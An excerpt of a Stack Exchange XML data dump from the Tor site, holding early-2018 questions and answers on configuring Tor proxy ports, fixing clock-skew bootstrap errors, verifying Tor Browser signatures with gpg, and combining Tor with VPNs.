27 22:34:24.460 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;SocksPort 9250&#xA;MapAddress check.torproject.org check.torproject.org.BC630CBBB518BE7E9F4E09712AB0269E9DC7D626.exit&#xA;RunAsDaemon 1&#xA;DataDirectory /tmp/tor2&#xA;User nobody&#xA;Jan 27 22:34:24.533 [notice] Tor 0.3.2.9 (git-64a719dd25a21acb) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g, Zlib 1.2.8, Liblzma 5.1.0alpha, and Libzstd N/A.&#xA;Jan 27 22:34:24.533 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jan 27 22:34:24.534 [notice] Read configuration file &quot;/tmp/torrc-2&quot;.&#xA;Jan 27 22:34:24.545 [notice] Scheduler type KIST has been enabled.&#xA;Jan 27 22:34:24.549 [notice] Opening Socks listener on 127.0.0.1:9250&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now test that they're working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# curl -x socks5h://127.0.0.1:9150/ https://check.torproject.org 2&amp;gt; /dev/null | grep &quot;Your IP address appears to be&quot;&#xA;  &amp;lt;p&amp;gt;Your IP address appears to be:  &amp;lt;strong&amp;gt;93.174.93.71&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;# curl -x socks5h://127.0.0.1:9250/ https://check.torproject.org 2&amp;gt; /dev/null | grep &quot;Your IP address appears to be&quot;&#xA;  &amp;lt;p&amp;gt;Your IP address appears to be:  &amp;lt;strong&amp;gt;197.231.221.211&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-27T22:41:19.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16561" PostTypeId="2" ParentId="16554" CreationDate="2018-01-28T01:11:52.447" Score="17" Body="&lt;p&gt;Tor provides a SOCKS proxy by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever you've configured to use Tor is trying to use it as an HTTP proxy which is a different kind of proxy protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor (at least as of 0.3.2.x) can provide an &lt;code&gt;HTTPTunnelPort&lt;/code&gt; which provides an HTTP CONNECT proxy interface. If the application is capable of using an HTTP connect proxy (instead of a transparent HTTP proxy) then you should be able to configure Tor by running, for example, &lt;code&gt;tor.exe --HTTPTunnelPort 8118&lt;/code&gt; from the command line, which would give you an HTTP CONNECT proxy on port 8118.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If applications cannot support HTTP CONNECT or SOCKS then they will not be able to use Tor without using Transparent Proxying to force internet connections to use Tor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-28T01:11:52.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16562" PostTypeId="2" ParentId="16553" CreationDate="2018-01-28T03:52:27.263" Score="1" Body="&lt;p&gt;Using &lt;code&gt;IsolateSOCKSAuth&lt;/code&gt; is considerably simpler and easier to do as long as you don't care which two exists are used, just that they are different.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -x socks5h://socks:isolation1@127.0.0.1:9150/ https://wtfismyip.com/text&#xA;85.93.218.204&#xA;$ curl -x socks5h://socks:isolation2@127.0.0.1:9150/ https://wtfismyip.com/text&#xA;2a02:418:4014:1::10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2018-01-28T03:52:27.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16564" PostTypeId="1" CreationDate="2018-01-28T18:29:48.113" Score="1" ViewCount="1033" Body="&lt;p&gt;I am running an old laptop with Windows Vista and Tor worked fine up until the last update Jan. 25, 2018, I believe. After that the browser screen was different, all my saved bookmarks were gone, and it will no longer open any websites or close properly. The initial startup doesn't seem to have issues. I tried disabling my Bitdefender security, totally shredded and reinstalled Tor several times with the same results. Tor opens but will not work.  What am I doing wrong?  The update worked and caused no problems on my newer PC with Windows 10.&lt;/p&gt;&#xA;" OwnerUserId="20836" LastActivityDate="2019-07-24T22:29:50.707" Title="After the latest update of Tor, I lost all bookmarks and it will no longer work" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16570" PostTypeId="2" ParentId="1241" CreationDate="2018-01-29T17:53:23.763" Score="0" Body="&lt;p&gt;I'm not finding it on Github.  Is it hosted elsewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevermind, seems to be self-hosted: &lt;a href=&quot;https://gitweb.torproject.org/builders/tor-browser-bundle.git/tree/gitian/README.build&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/builders/tor-browser-bundle.git/tree/gitian/README.build&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20850" LastActivityDate="2018-01-29T17:53:23.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16571" PostTypeId="1" CreationDate="2018-01-29T19:19:03.847" Score="4" ViewCount="28399" Body="&lt;pre&gt;&lt;code&gt;1/29/2018 2:14:22 AM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/29/2018 2:14:22 AM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/29/2018 2:14:22 AM.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/29/2018 2:14:23 AM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;1/29/2018 2:14:23 AM.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;1/29/2018 2:14:24 AM.500 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;1/29/2018 2:14:24 AM.800 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;1/29/2018 2:14:25 AM.100 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;1/29/2018 2:14:30 AM.400 [WARN] Received NETINFO cell with skewed time (OR:154.35.175.225:443): It seems that our clock is behind by 8 hours, 59 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;1/29/2018 2:14:30 AM.400 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Clock skew -32388 in NETINFO cell from OR; CLOCK_SKEW; count 2; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at 154.35.175.225:443) &#xA;1/29/2018 2:14:30 AM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;1/29/2018 2:14:30 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/29/2018 2:14:30 AM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;1/29/2018 2:14:30 AM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20851" LastEditorUserId="27242" LastEditDate="2019-08-07T14:32:05.827" LastActivityDate="2019-08-07T14:32:05.827" Title="Tor failed to establish a Tor network connection &quot;Loading network status failed&quot;" Tags="|tor-browser-bundle|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16572" PostTypeId="2" ParentId="16571" CreationDate="2018-01-29T20:38:05.550" Score="3" Body="&lt;p&gt;Your clock is wrong. Tor requires an accurate time, date, and &lt;strong&gt;timezone&lt;/strong&gt; to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that your time is almost exactly 9 hours off, most likely the time on your computer &lt;strong&gt;looks&lt;/strong&gt; correct, but you have incorrectly configured your timezone. Set the timezone correctly. This will most likely screw up the time. Fix the time after the timezone is correct.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-01-29T20:38:05.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16573" PostTypeId="2" ParentId="3598" CreationDate="2018-01-30T02:45:34.560" Score="0" Body="&lt;p&gt;There is a great program on GitHub call the torbrowser-launcher. &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Here)&lt;/a&gt; It will download and verify and install torbrowser for Ubuntu. I have not tried it in 14.04, but it should work. It requires a ppa to be installed, but it is the easiest way that I know of. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:micahflee/ppa&#xA;sudo apt-get update&#xA;sudo apt-get install torbrowser-launcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15953" LastActivityDate="2018-01-30T02:45:34.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16575" PostTypeId="2" ParentId="3782" CreationDate="2018-01-30T04:56:30.273" Score="0" Body="&lt;p&gt;It's not useless information just incomplete. Some files are locked because &quot;They are in use by another program&quot; You also need to go to task manager ctrl alt Del keys simultaneously - choose &quot;Start Task Manager&quot; go to &quot;Processes&quot; scroll down to find the &quot;tor.exe&quot; process and &quot;stop the process. You should then be able to delete all the tor files.&lt;/p&gt;&#xA;" OwnerUserId="20854" LastActivityDate="2018-01-30T04:56:30.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16576" PostTypeId="2" ParentId="16408" CreationDate="2018-01-30T08:48:05.357" Score="0" Body="&lt;p&gt;After a lot of different configuration, I can start both the services at two ends with no issue except the @cacahuatl's keys ...Both sides are in started mode and on the client side the error I get is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jan 30 12:07:37.000 [warn] Proxy Client: unable to connect to&#xA;  178.32.93.229:4235 (&quot;general SOCKS server failure&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mostly the partial success needs to go to the yawning angels insights and ofcourse cacahuatl....but still can not figure out how to create the keys...&#xA;any help will be super appreciated...&lt;/p&gt;&#xA;" OwnerUserId="20556" LastActivityDate="2018-01-30T08:48:05.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16581" PostTypeId="2" ParentId="3435" CreationDate="2018-01-30T20:43:24.937" Score="4" Body="&lt;p&gt;Since 0.3.2.1 version you can easily also use the &lt;code&gt;HTTPTunnelPort&lt;/code&gt; option. eg: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;tor.exe --HTTPTunnelPort 8118&lt;/code&gt; and set &lt;code&gt;127.0.0.1:8118&lt;/code&gt; as proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/a/16561&quot;&gt;this answer&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="20859" LastEditorUserId="20534" LastEditDate="2018-09-10T09:24:54.690" LastActivityDate="2018-09-10T09:24:54.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16586" PostTypeId="2" ParentId="15891" CreationDate="2018-02-01T01:05:11.117" Score="1" Body="&lt;p&gt;The Tails website &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index2h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;strongly recommends&lt;/a&gt; against doing exactly what you're asking:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Plugging your Tails USB stick in a compromised operating system might corrupt your Tails installation, and destroy the protection that Tails provides. Only use your Tails USB stick to start Tails.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14088" LastActivityDate="2018-02-01T01:05:11.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16594" PostTypeId="1" CreationDate="2018-02-02T17:20:49.907" Score="1" ViewCount="4965" Body="&lt;p&gt;I run Ubuntu 16.04LTS and I'm trying to reinstall TOR because it stopped working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm trying to verify TOR package I downloaded and I'm having problems with the verification.  When I enter this command &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get this response&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg: requesting key 0x4E2C6E8793298290 from hkp server pool.sks-keyservers.net  &lt;br/&gt;&#xA;  ?: invalid HTTP proxy (socks5-hostname://127.0.0.1:9050): unsupported URI  &lt;br/&gt;&#xA;  gpgkeys: HTTP fetch error 7: couldn't connect: Success&lt;br&gt;&#xA;  gpg: no valid OpenPGP data found.&lt;br&gt;&#xA;  gpg: Total number processed: 0&lt;br&gt;&#xA;  gpg: keyserver communications error: keyserver unreachable&lt;br&gt;&#xA;  gpg: keyserver communications error: public key not found&lt;br&gt;&#xA;  gpg: keyserver receive failed: public key not found  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What to do?&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2022-05-05T13:04:39.123" Title="Can't verify TOR package" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16596" PostTypeId="2" ParentId="16594" CreationDate="2018-02-03T04:40:51.243" Score="0" Body="&lt;p&gt;Maybe this isn't a proper answer, but realizing I had another laptop with Ubuntu 16.04LTS, and realizing from cacauati that by main laptop's configuration was abnormal, and not knowing how to make it normal, instead I was able to complete the TOR package verification easily by copying the files to the other laptop and running the standard TOR-website commands there.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2018-02-03T04:40:51.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16598" PostTypeId="2" ParentId="16594" CreationDate="2018-02-03T10:25:38.240" Score="1" Body="&lt;p&gt;These are the instructions from the official &lt;a href=&quot;https://tb-manual.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser User Manual&lt;/a&gt; in case the Ubuntu torbrowser-launcher package hasn't updated the gpg key that is required to install Tor Browser. When I updated the Tor Browser Developers signing key I noticed that the key that I updated will expire in less than one year.&lt;/p&gt;&#xA;&lt;h3&gt;Install Tor Browser&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to the Tor Browser &lt;a href=&quot;https://www.torproject.org/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the GNU/Linux .tar.xz file&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Recommended) Verify the file's signature. The steps for verifying the file's signature are shown below.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the download is complete, extract the archive with the command &lt;code&gt;tar -xf [TB archive]&lt;/code&gt; or with the Archive Manager.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to the newly extracted Tor Browser directory. Right-click on &lt;em&gt;start-tor-browser&lt;/em&gt;, open &lt;em&gt;Properties&lt;/em&gt; and change the permission to &lt;em&gt;Allow executing file as program&lt;/em&gt; by clicking the checkbox.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start Tor Browser from the command line by running:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Set a keyboard shortcut to start Tor Browser&lt;/h3&gt;&#xA;&lt;p&gt;Remember the location where you downloaded the tor-browser-linux64-xx.x.xx_xx-xx.tar.xz archive. In this example I will call this location &lt;code&gt;/home/your-username/Downloads/&lt;/code&gt; which is the default location of the Downloads directory in Ubuntu if you replace &lt;code&gt;your-username&lt;/code&gt; by your own user name.&lt;/p&gt;&#xA;&lt;p&gt;Remember the directory where you extracted the Tor Browser files. In this example I will call this directory &lt;code&gt;/home/your-username/Downloads/tor-browser_en-US/&lt;/code&gt; where en is the abbreviation for the language and US is the abbreviation for the nation which could be different depending on your language and nation.&lt;/p&gt;&#xA;&lt;p&gt;Go to Settings -&amp;gt; &lt;em&gt;Keyboard&lt;/em&gt; -&amp;gt; &lt;em&gt;View and Customize Shortcuts&lt;/em&gt; -&amp;gt; &lt;em&gt;Set Custom Shortcut&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the field after Name type &lt;em&gt;Tor Browser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the field after Command type: &lt;code&gt;sh -c '&amp;quot;/home/your-username/Downloads/tor-browser_en-US/Browser/start-tor-browser&amp;quot; --detach || ([ !  -x &amp;quot;/home/your-username/Downloads/tor-browser_en-US/Browser/start-tor-browser&amp;quot; ] &amp;amp;&amp;amp; &amp;quot;$(dirname &amp;quot;$*&amp;quot;)&amp;quot;/Browser/start-tor-browser --detach)' dummy %k&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In order to fill in an entry in the field after Shortcut press any easy to remember keyboard shortcut combination (e.g. &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; +&lt;kbd&gt;B&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tooa2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tooa2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you can start Tor Browser by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; +&lt;kbd&gt;B&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;How to verify Tor Browser's signature&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Fetching the Tor Developers key&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor Browser team signs Tor Browser releases. Import the Tor Browser Developers signing key (0xEF6E286DDA85EA2A4BA7DE684E2C6E8793298290):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg --auto-key-locate nodefault,wkd --locate-keys torbrowser@torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should show you something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg: key 4E2C6E8793298290: public key &amp;quot;Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&amp;quot; imported&#xA;gpg: Total number processed: 1&#xA;gpg:               imported: 1&#xA;pub   rsa4096 2014-12-15 [C] [expires: 2020-08-24]&#xA;      EF6E286DDA85EA2A4BA7DE684E2C6E8793298290&#xA;uid           [ unknown] Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&#xA;sub   rsa4096 2018-05-26 [S] [expires: 2020-09-12]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After importing the key, you can save it to a file (identifying it by fingerprint here):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg --output ./tor.keyring --export 0xEF6E286DDA85EA2A4BA7DE684E2C6E8793298290&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Verifying the signature&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To verify the signature of the package you downloaded, you will need to download the corresponding &amp;quot;.asc&amp;quot; signature file as well as the installer file itself, and verify it with a command that asks GnuPG to verify the file that you downloaded.&lt;/p&gt;&#xA;&lt;p&gt;The example below assumes that you downloaded these two files to your Downloads folder.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpgv --keyring ./tor.keyring ~/Downloads/tor-browser-linux64-9.0_en-US.tar.xz{.asc,}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result of the command should produce something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpgv: Signature made 07/08/19 04:03:49 Pacific Daylight Time&#xA;gpgv:                using RSA key EB774491D9FF06E2&#xA;gpgv: Good signature from &amp;quot;Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20806" LastEditorUserId="20806" LastEditDate="2022-05-05T13:04:39.123" LastActivityDate="2022-05-05T13:04:39.123" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="16603" PostTypeId="1" CreationDate="2018-02-03T16:04:28.620" Score="0" ViewCount="168" Body="&lt;p&gt;I have bitmask vpn always on. How do I then configure orbot to use vpn? Is it possible on android? Tried searching but found nothing that helps me understand. Furthermore is the any special configurations need to run firefox thru tor after. Really could use the help understanding how to configurate all this together.&#xA;Thanks for all the help.&#xA;Silent Warrior&lt;/p&gt;&#xA;" OwnerUserId="20902" LastActivityDate="2021-12-16T18:04:25.383" Title="Can Tor work here" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16604" PostTypeId="2" ParentId="14945" CreationDate="2018-02-03T19:38:44.310" Score="-1" Body="&lt;p&gt;All versions are on the official Tor website: &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20904" LastEditorDisplayName="user6671" LastEditDate="2018-02-08T08:22:10.693" LastActivityDate="2018-02-08T08:22:10.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16605" PostTypeId="1" CreationDate="2018-02-03T21:10:54.017" Score="0" ViewCount="1555" Body="&lt;p&gt;I have some Linux VPN servers (they run &lt;code&gt;Streisand&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, when I connect with &lt;code&gt;OpenVPN&lt;/code&gt; to one of those VPN, my IP address is the VPN's IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I connect to the VPN, I would like to have a TOR IP address at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be something like what offers AIRVPN or other VPN providers that, create a virtual network adaptater on my machine, routing all traffic through tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all my applications would work over tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize, what I need is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home --&amp;gt; VPN server --&amp;gt; TOR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only found how to do Home --&gt; Tor --&gt; VPN server...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do on my VPN servers to archieve this, please? Ideally I would like to continue to use &lt;code&gt;OpenVPN&lt;/code&gt; to connect to my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="20906" LastActivityDate="2019-10-09T14:46:17.270" Title="How can I send all my VPN outgoing traffic to TOR" Tags="|vpn|openvpn|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16606" PostTypeId="1" CreationDate="2018-02-03T22:15:18.937" Score="2" ViewCount="705" Body="&lt;p&gt;How does end-to-end encryption between Client and Hidden Service work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to understand more about TOR and how it works and found something about a end-to-end encryption between the client and the hidden service, but nothing good, that explains how it works.&lt;/p&gt;&#xA;" OwnerUserId="20907" LastActivityDate="2018-07-05T10:58:12.763" Title="End-to-End encryption using hidden services" Tags="|onion-services|client|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16609" PostTypeId="1" AcceptedAnswerId="16613" CreationDate="2018-02-04T14:25:35.663" Score="1" ViewCount="1463" Body="&lt;p&gt;I was wondering that if Tor allows using of treaceroute command from the terminal which tells from which gateways your data packets are going through.&lt;/p&gt;&#xA;" OwnerUserId="20584" LastEditorUserId="20584" LastEditDate="2018-02-06T17:49:17.987" LastActivityDate="2018-02-06T17:49:17.987" Title="Can you use traceroute in TAILS?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16610" PostTypeId="1" CreationDate="2018-02-04T15:37:27.787" Score="0" ViewCount="646" Body="&lt;p&gt;I was trying to verify TOR package signature with this command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I got this response&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg: requesting key 0x4E2C6E8793298290 from hkp server pool.sks-keyservers.net  &lt;br/&gt;&#xA;  ?: invalid HTTP proxy (socks5-hostname://127.0.0.1:9050): unsupported URI  &lt;br/&gt;&#xA;  gpgkeys: HTTP fetch error 7: couldn't connect: Success&lt;br&gt;&#xA;  gpg: no valid OpenPGP data found.&lt;br&gt;&#xA;  gpg: Total number processed: 0&lt;br&gt;&#xA;  gpg: keyserver communications error: keyserver unreachable&lt;br&gt;&#xA;  gpg: keyserver communications error: public key not found&lt;br&gt;&#xA;  gpg: keyserver receive failed: public key not found  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thankfully I was able to do the actual verification by using another computer (both Ubuntu 16.04LTS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But someone pointed out that my main system's GnuPG configuration is not default, as it's expecting HTTP proxy.  This seemed proven true by moving the same files (package and signature) to another computer with the same OS and giving the same command and it worked instantly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to restore my GnuPG configuration to default on my main system? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2021-12-18T03:05:25.697" Title="How to restore GnuPG proxy configuration to default?" Tags="|tor-browser-bundle|ubuntu|socks|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16613" PostTypeId="2" ParentId="16609" CreationDate="2018-02-05T02:38:36.407" Score="0" Body="&lt;p&gt;No, you cannot use &lt;code&gt;traceroute&lt;/code&gt; (or any similar programs or techniques since they rely on information in IP packet frames - specifically the TTL field and ICMP replies to TTL expiration - and Tor does not preserve them, only the stream data is carried over the Tor network).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails does include &lt;a href=&quot;https://tails.boum.org/doc/anonymous_internet/tor_status/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Onion Circuits&lt;/em&gt;&lt;/a&gt;, which will show your current circuits and which connections are using them, if any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access it click on the onion icon on the top right (next to the network, sound and power indicators) and select &lt;em&gt;Open Onion Circuits&lt;/em&gt;, this will provide you with an overview of your Tor connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be seen in Tor Browser by clicking on the Tor Button onion icon, to see the circuit used for the current website.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-05T02:38:36.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16614" PostTypeId="2" ParentId="16605" CreationDate="2018-02-05T02:47:56.823" Score="1" Body="&lt;p&gt;You should just run Tor on the local system after connecting to the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that the Tor data will be encrypted &lt;em&gt;before&lt;/em&gt; it reaches your VPN server, making the connection between you and the Tor network end-to-end encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set up Tor on the VPN server then the server would see the &lt;em&gt;plaintext&lt;/em&gt; of traffic you were sending to Tor. It simply adds another place where your connection could be spied upon. If you run the Tor client on the local system then the server will not be able to see the plaintext of your Tor traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, VPNs don't provide much protection and can infact be farmful but having a Tor client run at the other side of the connection rather than your own computer would just make you more vulnerable. You should consider why the VPN is necessary at all and what protections you think it is providing and if it is really providing them.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-05T02:47:56.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16615" PostTypeId="2" ParentId="16603" CreationDate="2018-02-05T02:51:39.823" Score="0" Body="&lt;p&gt;If &lt;em&gt;&quot;bitguard&quot;&lt;/em&gt; is actually making applications connect over the VPN, then simply starting Orbot would make it connect over the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To browse with Tor on Android, use the Orfox application which will use Orbot by default.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-05T02:51:39.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
